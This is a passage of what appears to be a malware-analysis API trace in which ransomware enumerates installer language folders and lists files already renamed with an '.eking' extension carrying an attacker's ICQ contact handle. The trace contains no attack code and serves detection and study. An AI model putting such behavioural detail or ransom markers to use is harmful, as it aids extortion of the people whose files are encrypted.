out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6306685, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6306685, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc632c942, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1012, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.348] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc632c942, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc632c942, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6352a6d, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13082, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.348] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc632c942, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc632c942, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75822a8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.349] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc632c942, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc632c942, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75822a8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.349] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.350] GetProcessHeap () returned 0xaf0000 [0275.350] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.350] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1055", cAlternateFileName="")) returned 1 [0275.350] GetProcessHeap () returned 0xaf0000 [0275.350] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.350] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0275.352] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.352] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6352a6d, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6352a6d, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc638c1df, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1012, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.352] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc638c1df, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc638c1df, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75f4a59, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x12d22, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.352] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75a866a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc75a866a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75a866a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.352] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75a866a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc75a866a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75a866a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.352] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0275.353] GetProcessHeap () returned 0xaf0000 [0275.353] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.353] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="2052", cAlternateFileName="")) returned 1 [0275.354] GetProcessHeap () returned 0xaf0000 [0275.354] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.354] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.355] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.355] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75a866a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc75a866a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75ce88a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x17c2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.355] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75ce88a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc75ce88a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc77f3f35, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xee12, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.355] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc761adcc, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc761adcc, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc761adcc, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.355] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc761adcc, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc761adcc, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc761adcc, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.355] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.356] GetProcessHeap () returned 0xaf0000 [0275.356] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.357] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="2070", cAlternateFileName="")) returned 1 [0275.357] GetProcessHeap () returned 0xaf0000 [0275.357] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.358] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.358] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc761adcc, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc761adcc, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7640e6c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x10a2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.358] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7640e6c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7640e6c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc781a21f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13a82, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.358] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77f3f35, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc77f3f35, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc781a21f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.358] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77f3f35, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc77f3f35, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc781a21f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.358] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.359] GetProcessHeap () returned 0xaf0000 [0275.359] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.359] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="3076", cAlternateFileName="")) returned 1 [0275.359] GetProcessHeap () returned 0xaf0000 [0275.360] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.360] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0275.361] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.361] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc781a21f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc781a21f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc788c965, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.361] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7840447, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7840447, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc788c965, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.361] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc788c965, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc788c965, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc79065c8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.361] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc788c965, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc788c965, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc79065c8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.361] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0275.362] GetProcessHeap () returned 0xaf0000 [0275.362] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.363] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="3082", cAlternateFileName="")) returned 1 [0275.363] GetProcessHeap () returned 0xaf0000 [0275.363] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0275.364] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="..", cAlternateFileName="")) returned 1 [0275.364] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc78b2ba8, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc78b2ba8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc799789a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0275.364] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7bfa044, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7bfa044, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7d2b250, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13982, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0275.364] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc799789a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc799789a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc79e3d56, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0275.364] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc799789a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc799789a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc79e3d56, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0xfffff7cd, dwReserved1=0x19cd, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0275.365] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0275.366] GetProcessHeap () returned 0xaf0000 [0275.366] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.366] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, 